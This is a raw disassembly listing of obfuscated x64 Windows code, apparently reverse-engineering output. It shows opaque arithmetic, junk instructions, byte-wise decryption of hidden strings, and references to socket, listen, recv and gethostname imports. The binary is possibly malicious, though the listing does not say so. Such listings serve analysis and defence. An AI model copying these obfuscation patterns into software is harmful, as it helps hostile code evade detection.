mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009800a
movabs rdx, 0xe860d7cc5a4f786
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x1400974d2
movabs rdx, 0xa6f8790a4d67afd0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400974d2
movabs rdx, 0x3f6ae497d52a681a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009805c
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x140097c84
movabs rdx, 0x33c6ca393c1ea3db
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 3
jmp 0x140097a6b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140097ccb
movabs rdx, 0x7e9d2d63dd06e1ee
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3f
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x8d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400974d2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140097cfc
movabs rcx, 0xe62ac1d6554429a4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7c
jmp 0x140098141
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140097d2d
movabs rcx, 0x4db85648cd81715a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x76
jmp 0x140098111
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140097a6e
movabs rcx, 0xebeea812ae769032
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5e
dec rbx
inc rbx
jmp 0x1400974d2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140097d96
movabs rcx, 0xbdebc415cb8a52e5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x43
jmp 0x14009805c
inc rax
cmp r8, rax
jne 0x140097dc6
movabs rcx, 0xf494816d34422a07
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x31
jmp 0x14009800a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140097df7
movabs rcx, 0x5c2215dfac7f71bd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2b
jmp 0x1400980d8
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140097a0d
movabs rcx, 0x2b3d3ec49cfa0129
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1f
jmp 0x140098111
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140097e6a
movabs rcx, 0xfd3a5ac7ba0dc3dc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
movzx eax, byte [rbp + rbx + 0x8d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400974d2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140097eb0
movabs rdx, 0x33e3181f22c59afe
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400974d2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140097ee6
movabs rdx, 0x2fe410413402a6a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009800a
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400979bb
movabs rdx, 0x39a6fe5b7bf8018c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009805c
movabs rdx, 0x8c227406c7290f8
add rdx, rbx
movzx eax, r11b
and al, dl
movzx ecx, byte [rbp + rbx + 0x8d8]
sub cl, al
add cl, 0x1c
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x14009800a
movabs rdx, 0x704fbbb2e4afd8ae
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x140098111
movabs rcx, 0xe348ceb828aaf65d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x75
movzx eax, byte [rbp + rbx + 0x8d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400974d2
movabs rcx, 0x7bbb3a45b06daea7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6f
jmp 0x140098141
movabs rcx, 0x142da5d3383066f1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x69
jmp 0x140098111
movabs rcx, 0xdd84e87bcf788fcf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x57
movabs rdx, 0x3c88f179a89134d3
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x3b
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x8d8], cl
jmp 0x1400980d8
movabs rdx, 0xa6dc2b2466c0b8ad
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x45
add r10b, dl
movabs rcx, 0xd4fb5d073053ed1d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x35
add cl, r11b
mov byte [rbp + rbx + 0x8d8], cl
inc r9
dec rbx
inc rbx
jmp 0x1400974d2
movabs rcx, 0x8a5d95a85cb99d5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2d
dec rbx
inc rbx
jmp 0x1400974d2
movabs rcx, 0x398ab07595510a69
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x21
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400974d2
mov r11, rdx
movabs rcx, 0x6a6f8790a4d67afd
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x15
movabs rcx, 0xa41685ec20ce7c89
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x41
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x8d8], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0xd7dd50255ced2064
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x8d8], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x8d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400974d2
movabs rcx, 0x9b545eabb45beb91
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 9
movzx eax, byte [rbp + rbx + 0x8d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400974d2
movabs rcx, 0xe6470fbc3beb20c7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x71
jmp 0x1400974ce
movabs rcx, 0x7eb97b49c3add911
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x77
jmp 0x1400974b8
lea rcx, [rbp + 0x1561ffc]
jmp 0x140098227
lea rcx, [rbp + 0xf4c3d7]
jmp 0x140098227
lea rcx, [rbp + 0x8d8]
xor r8d, r8d
mov rdx, rdi
call fcn.140036350
test al, al
je 0x140098292
xor ebx, ebx
nop dword [rax]
mov edi, dword [r14 + 0x30]
cmp edi, ebx
sete dl
mov dword [rsp + 0x58], 0
mov dword [rsp + 0x5c], 0
lea r9, [rsp + 0x58]
xor r8d, r8d
mov rcx, qword [rsi]
call fcn.14003dbf0
test al, al
je 0x140098275
mov dword [r14 + 0x30], ebx
cmp edi, ebx
jne 0x140098282
call fcn.140014240
inc ebx
add rsi, 8
cmp ebx, 2
jl 0x140098240
call fcn.1400184e0
lea rdx, [0x14021abf0]
lea rcx, [rbp + 0x2c0]
call fcn.1400022f0
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x20]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov r15, qword [rax]
mov rcx, rbx
call fcn.140002490
cmp byte [r15 + 0x38], 0
jne 0x1400a26f3
movsxd rax, dword [r15 + 0x30]
lea r14, [0x1401a0588]
mov r12, qword [r14 + rax*8]
mov byte [rbp + 0x900], 0xf4
mov byte [rbp + 0x901], 0xeb
mov byte [rbp + 0x902], 0xfb
mov byte [rbp + 0x903], 0xf8
mov byte [rbp + 0x904], 0xe9
mov byte [rbp + 0x905], 0xe7
mov byte [rbp + 0x906], 0xb6
mov byte [rbp + 0x907], 0x87
mov byte [rbp + 0x908], 0xe7
mov byte [rbp + 0x909], 0xe2
mov byte [rbp + 0x90a], 0xeb
mov byte [rbp + 0x90b], 0xdf
mov byte [rbp + 0x90c], __WSAFDIsSet
mov byte [rbp + 0x90d], 0x9a
mov byte [rbp + 0x90e], 0x98
mov byte [rbp + 0x90f], Ordinal_50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x910], xmm0
mov word [rbp + 0x920], ax
mov byte [rbp + 0x922], al
movabs rdx, 0x2371f8cf9cbb36d4
movzx r10d, byte [rsp + 0x40]
nop
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor esi, esi
movabs rbx, 0xd547d6d6898d8334
movabs rcx, 0x7ee49f99489bc344
cmp rsi, 0x23
jae 0x1400990fc
movzx edi, byte [rbp + rsi + 0x900]
mov r11, rdi
nop dword [rax + rax]
cmp r8, rsi
ja 0x1400990f0
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400983fd
lea rcx, [rsi + rbx]
mov rax, rcx
and rax, rdi
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdi
sub r10b, 0x6c
movabs rcx, 0x7ee49f99489bc344
jmp 0x140098437
je 0x140099081
lea rax, [r9 + 2]
cmp r8, rax
je 0x140098ff1
lea rax, [r9 + 4]
cmp r8, rax
je 0x140098fab
lea rax, [r9 + 6]
cmp r8, rax
je 0x140098f76
lea rax, [r9 + 8]
cmp r8, rax
je 0x140098f14
cmp r9, rsi
ja 0x1400990e4
lea rax, [r9 + 5]
cmp r8, rax
jae 0x140098477
lea rdx, [rsi + rcx]
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
movabs rdx, 0x2371f8cf9cbb36d4
jmp 0x1400984ab
lea rax, [r9 + 1]
cmp r8, rax
je 0x140098eee
lea rax, [r9 + 3]
cmp r8, rax
je 0x140098eb9
lea rax, [r9 + 4]
cmp r8, rax
je 0x140098e94
lea rax, [r9 + 2]
cmp r8, rax
je 0x140098e6f
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rsi
jbe 0x1400989f7
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400989d2
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14009899a
lea rax, [r9 + 1]
cmp r8, rax
je 0x140098965
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140098951
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14009890e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400988e6
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400988c1
lea r8, [r9 + 4]
lea r9, [r8 + 0x61]
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400990c0
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140098633
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140098600
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140098861
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400987d3
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140098799
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400984c0
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140098774
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14009874b
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140098722
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400986fd
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400986d8
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400986a0
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14009867a
lea r8, [r9 + 5]
lea r9, [r8 + 0x7a]
jmp 0x1400984c0
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
movabs rcx, 0x7ee49f99489bc344
movabs rdx, 0x2371f8cf9cbb36d4
jmp 0x140098437
movabs rdx, 0x78e24b2289a0306c
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
movabs rcx, 0x7ee49f99489bc344
movabs rdx, 0x2371f8cf9cbb36d4
movabs rbx, 0xd547d6d6898d8334
jmp 0x1400983b8
movabs rdx, 0xf724fcca44de1a20
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
jmp 0x140098f34
movabs rcx, 0x4c954f1d31c313b8
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 8
inc r9
dec rsi
inc rsi
movabs rdx, 0x2371f8cf9cbb36d4
jmp 0x140098392
movabs rdx, 0xf775f3c30b8d06e8
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x58
jmp 0x140098e1d
movabs rcx, 0x4ce64615f8720080
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
add r10b, 0x80
jmp 0x140098fcf
movabs rdx, 0xf7c6eabbd23bf3b0
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x140099018
movabs rdx, 0x4d373d0ebf20ed48
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
jmp 0x140099048
movabs rcx, 0xa2a78f61ac05e6e0
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x20
jmp 0x1400990a0
movabs rcx, 0x78405d30fc4256dc
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 4
mov byte [rbp + rsi + 0x900], r10b
inc rsi
movabs rdx, 0x2371f8cf9cbb36d4
jmp 0x140098392
movabs rdx, 0x232101d6d60c4a0c
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x54
add r10b, dl
cmp r8, 0x10
jae 0x140098df9
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x140098cbb
movabs rdx, 0x5102d0b80f5406a8
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
cmp r9, 0x64
jb 0x1400987b9
movabs rdx, 0xfa9f997ace6246b8
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x10]
jmp 0x140098f37
movabs rcx, 0x78915429c2f143a4
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x7c
lea rax, [r9 + r8]
cmp rax, 0x42
je 0x140098e4c
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x140098b8e
movabs rdx, 0xd21e311ec6b84364
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
jmp 0x1400987f3
movabs rcx, 0xf95bbd97b3a69398
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x28
jmp 0x1400990a0
movabs rdx, 0x4ecc0feaa08b8d30
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x50
add r10b, dl
jmp 0x140099048
movabs rdx, 0xf9acb4907a558060
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
movabs rdx, 0x2371f8cf9cbb36d4
jmp 0x140098392
movabs rdx, 0x4f1d06e3673a79f8
mov ecx, Ordinal_30
jmp 0x140098fba
movabs rcx, 0xf9fdab8941046d28
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x18
dec rsi
inc rsi
movabs rdx, 0x2371f8cf9cbb36d4
jmp 0x140098392
movabs rcx, 0x4f6dfddc2de966c0
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x40
inc r9
dec rsi
inc rsi
movabs rdx, 0x2371f8cf9cbb36d4
jmp 0x140098392
movabs rdx, 0xa4de502f1ace6058
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x68
jmp 0x140098f34
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x140098a2f
movabs rdx, 0xd547d6d6898d8334
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x6c
add r10b, dl
jmp 0x140098880
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140098a65
movabs rdx, 0xfdc93f3291378688
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
jmp 0x1400990a0
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140098a97
movabs rdx, 0x52e89a8cb76d9358
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x68
jmp 0x140099015
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140098ae3
movabs rcx, 0xfd784839ca8899c0
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x40
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
movabs rdx, 0x2371f8cf9cbb36d4
jmp 0x140098392
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140098b16
movabs rdx, 0x5297a393f0bea690
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
jmp 0x140098e1d
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140098b5c
movabs rdx, 0xfd27514103d9acf8
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
dec rsi
inc rsi
movabs rdx, 0x2371f8cf9cbb36d4
jmp 0x140098392
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140098880
movabs rdx, 0x5246ac9b2a0fb9c8
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x78
jmp 0x140098f34
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140098bc1
movabs rdx, 0x7caddecbd9d349cc
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
jmp 0x140098f34
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140098c03
movabs rcx, 0xd1cd3a260009569c
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x44
dec rsi
inc rsi
movabs rdx, 0x2371f8cf9cbb36d4
jmp 0x140098392
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140098c35
movabs rdx, 0x7c5ce7d313245d04
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x1c
jmp 0x140098e1d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140098c6b
movabs rdx, 0x26ec9580263f636c
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x140098fcf
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400987f6
movabs rdx, 0xd17c432d395a69d4
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
movabs rdx, 0x2371f8cf9cbb36d4
jmp 0x140098392
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140098ced
movabs rcx, 0xfb927e65226f0d10
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x70
jmp 0x1400990a0
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140098d1f
movabs rdx, 0x50b1d9bf48a519e0
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x20
jmp 0x140099015
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140098d40
movabs rdx, 0xa5d135196edb26b0
mov ecx, Ordinal_27
jmp 0x140098fba
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140098d82
movabs rcx, 0xfaf0907395113380
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
add r10b, 0x80
dec rsi
inc rsi
movabs rdx, 0x2371f8cf9cbb36d4
jmp 0x140098392
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140098dc7
movabs rcx, 0xa5803e20a82c39e8
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x58
inc r9
dec rsi
inc rsi
movabs rdx, 0x2371f8cf9cbb36d4
jmp 0x140098392
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140098831
movabs rdx, 0x500febcdbb474050
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x30
jmp 0x140098f34
movabs rdx, 0xa52f4727e17d4d20
add rdx, rsi
movzx eax, dil
and al, dl
movzx ecx, byte [rbp + rsi + 0x900]
sub cl, al
add cl, 0x10
lea r10d, [rcx + rcx]
add r10b, dl
movabs rcx, 0x7a771dfe6b0ad054
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x4c
add cl, dil
add cl, r10b
mov byte [rbp + rsi + 0x900], cl
jmp 0x140098fcf
movabs rdx, 0x4fbef4d4f4985388
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x140099015
movabs rcx, 0x7df1baaef48efcec
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x74
jmp 0x1400990a0
movabs rcx, 0xd3b303faa822e34c
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x14
jmp 0x140098fcf
movabs rcx, 0x7e93a8a081ecd67c
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x64
dec rsi
inc rsi
movabs rdx, 0x2371f8cf9cbb36d4
jmp 0x140098392
movabs rdx, 0x29744d465bb6c9ac
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
jmp 0x140098f34
movabs rdx, 0xd454f1ec3580bcdc
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 4
add r10b, dl
movabs rcx, 0xcfe7705157efc9ec
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
sub dil, 0x74
add dil, cl
mov byte [rbp + rsi + 0x900], dil
inc r9
dec rsi
inc rsi
movabs rdx, 0x2371f8cf9cbb36d4
jmp 0x140098392
movabs rcx, 0x7f3596920f4ab00c
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x54
dec rsi
inc rsi
movabs rdx, 0x2371f8cf9cbb36d4
jmp 0x140098392
movabs rdx, 0x2a163b37e914a33c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, rsi
movzx eax, dil
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
movabs rdx, 0x2371f8cf9cbb36d4
jmp 0x140098392
mov rdi, r11
movabs rdx, 0xd4f6dfddc2de966c
add rdx, rsi
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movabs rcx, 0x2506cbab7e25d6bc
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x24
add cl, dil
movzx eax, cl
mov byte [rbp + rsi + 0x900], al
inc r9
add rax, r9
sub rsi, rax
movabs rdx, 0xfa4ea28207b359f0
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, dil
mov byte [rbp + rsi + 0x900], cl
inc r8
mov rax, r13
sub rax, r8
add rsi, rax
jmp 0x1400990a0
movabs rcx, 0x7fd784839ca8899c
add rcx, rsi
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x44
movzx eax, byte [rbp + rsi + 0x900]
add rax, r9
add rsi, rax
inc rsi
movabs rdx, 0x2371f8cf9cbb36d4
jmp 0x140098392
movabs rcx, 0x23c2efc8636a239c
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x44
jmp 0x14009837e
lea rcx, [rbp + 0x1542ff0]
jmp 0x140099103
lea rcx, [rbp + 0x161b324]
jmp 0x140099103
lea rcx, [rbp + 0x900]
xor r8d, r8d
mov rdx, r12
call fcn.140036350
test al, al
je 0x140099172
xor ebx, ebx
nop dword [rax + rax]
mov edi, dword [r15 + 0x30]
cmp edi, ebx
sete dl
mov dword [rsp + 0x60], 0
mov dword [rsp + 0x64], 0
lea r9, [rsp + 0x60]
xor r8d, r8d
mov rcx, qword [r14]
call fcn.14003dbf0
test al, al
je 0x140099155
mov dword [r15 + 0x30], ebx
cmp edi, ebx
jne 0x140099162
call fcn.140014240
inc ebx
add r14, 8
cmp ebx, 2
jl 0x140099120
call fcn.1400184e0
call fcn.140040010
xor r8d, r8d
xor edx, edx
lea rcx, str.Settings
call fcn.14003ff90
test al, al
je 0x1400a1433
mov byte [rbp + 0x928], Ordinal_200
mov byte [rbp + 0x929], 0xe4
mov byte [rbp + 0x92a], 0xec
mov byte [rbp + 0x92b], 0xe6
mov byte [rbp + 0x92c], 0xe6
mov byte [rbp + 0x92d], 0xf4
mov byte [rbp + 0x92e], 0xe2
mov byte [rbp + 0x92f], reloc.WS2_32.dll_socket
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x930], xmm0
mov qword [rbp + 0x940], rax
mov word [rbp + 0x948], ax
mov byte [rbp + 0x94a], al
movabs rsi, 0x59ef9642d954d164
movabs r12, 0xa2c2441b9071c0d4
movabs r14, 0x5f7afaf76dc3b31c
movabs r15, 0x19f672c04ce03174
